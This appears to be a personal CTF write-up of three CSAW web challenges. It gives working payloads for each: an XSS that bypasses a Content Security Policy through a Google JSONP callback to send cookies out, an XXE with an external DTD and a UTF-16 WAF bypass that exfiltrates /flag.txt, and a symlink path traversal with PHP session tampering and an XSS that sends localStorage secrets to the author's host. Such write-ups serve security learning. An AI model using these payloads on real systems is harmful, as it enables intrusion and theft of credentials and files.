CSAW CTF(Web)

Note: This write-up doesn’t explain all the steps. Feel free to email me at peipei123gt@gmail.com if you’re not sure how I got X.‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌
‌‌ ‌‌ ‌‌ ‌‌ ‌‌
#BabyCSP:
1. Bad CSP rule:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
2. Submit a post with the payload and report to admin:
<script src='https://accounts.google.com/o/oauth2/revoke?callback=document.location="https://www.wispwisp.com/?aa="%2bdocument.cookie;a'></script>
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
3. Wait, and Got flag in /var/log/apache2/access.log:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
CSP bypass(with JSONP) reference:
https://www.slideshare.net/Hacken_Ecosystem/ebrahem-hegazy-bug-hunters-manual-for-bypassing-contentsecuritypolicy
https://github.com/zigoo0/JSONBee
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
#unagi:
XXE payload:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
XXE Waf bypass:
https://mohemiv.com/tags/xxe/
1. Create payload.xml:

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://www.wispwisp.com/ctf/csaw.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
2. Convert the file to bypass WAF:

cat payload.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
3. Host this dtd file(http://www.wispwisp.com/ctf/csaw.dtd):

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://wispwisp.com/dtd.xml?%data;'>">

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
4. Upload Payload.xml
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
5. Got base64 encoded flag in /var/log/apache2/access.log:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
6. Base64 decode:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
#Secure File Storage
(I failed to solve this challenge during the CTF, because I didn’t realize the bot can not visit HTTPS site. I change my payload from HTTPS to HTTP then I receive the Key. Sad 😢 )
0: Download the Client.py provide by the challenge, empty the main function.
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
1. Register account + Login + Get SessionID + Upload random file(ex: temp.txt)

username_tmp = "randomusername"
password = "randompassword"
api_register(username_tmp, password)
api_login(username_tmp, password)
sess_id_1 = session.cookies['PHPSESSID']
api_create_file("temp.txt", "aaa")

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
2. Symlink+read+edit => arbitrary file read/write

api_create_symlink("etc_passwd", "/../../../../../../etc/passwd")
print(api_get_file('etc_passwd'))

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
3. Get all the source code from the server with symlink+read, review source code to gain more information.

api_create_symlink("web_file", "/../../../../../../var/www/html/index.php")
print(api_get_file('web_file'))

Repeat for all files:

/var/www/html/*
/var/www/html/views/*

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌ 
4. Symlink tmp directory, current PHP session file. Edit session file to get admin privileges and list the tmp directory

api_create_symlink("tmp.txt", "/../../../../../../../../tmp/")
api_create_symlink("session.txt", "/../../../../../../../../tmp/sess_{}".format(sess_id_1))
print(api_get_file('session.txt'))

Change privs to 15 to gain admin privileges, and list the /tmp directory:

api_update_file('session.txt', 'current_user|O:4:"User":4:{s:8:"username";s:14:"randomusername";
s:8:"password";s:60:"$2y$10$1N3EwIDExK2SBz9f.6xhWuENRJ7Cr6RRckqpL2EPvtLXOM1QKtzDe";s:5:"privs";
s:2:"15";s:2:"id";i:230;}')
print(api_list_files('tmp.txt'))

In postman:

‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
5. symlink+read -> get encrypted flag.txt
After reading the source code, I know the flag path is: /tmp/user_data/1/flag.txt

api_create_symlink("flag.txt", "/../../../../../../../tmp/user_data/1/flag.txt")
print(api_get_file('flag.txt'))


‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
6. Write a script to find the admin session file(in /tmp), the username in the session file will be ‘admin’. 
The script should tell you the admin session file is: sess_4umud1lupqn0mpibor27r283o1
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
7. Symlink + edit modify admin session file, change the username to XSS payload.

api_create_symlink("admin_session", "/../../../../../../tmp/sess_4umud1lupqn0mpibor27r283o1")

api_update_file('admin_session', 'current_user|O:4:"User":4:{s:8:"username";s:81:"<script> fetch(
'http://www.wispwisp.com?key='+localStorage.encryptSecret)</script>";s:8:"password";s:6 0:"$2y$10
$H38hS7IMk1MzSg/usdBvjuRucRGkEKrc/tJhJQOD7249oRpNqWc5O";s:5:"privs";s:2:"15";s:2:"id";s:1:"1";}')

my payload:
<script> fetch( 'http://www.wispwisp.com?key='+localStorage.encryptSecret)</script>
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
8. Wait for Admin visit the admin Page, and receive the decryption key:

localStorage.encryptSecret: wvEXTzNpd5xPostMnBqsqHzfz7Ns1yjqL9kwsuAx4ds=
‌‌ ‌‌ ‌‌ ‌‌ ‌‌ ‌‌
9. Decrypt the Cipher(encrypted flag) with the Key to get the flag: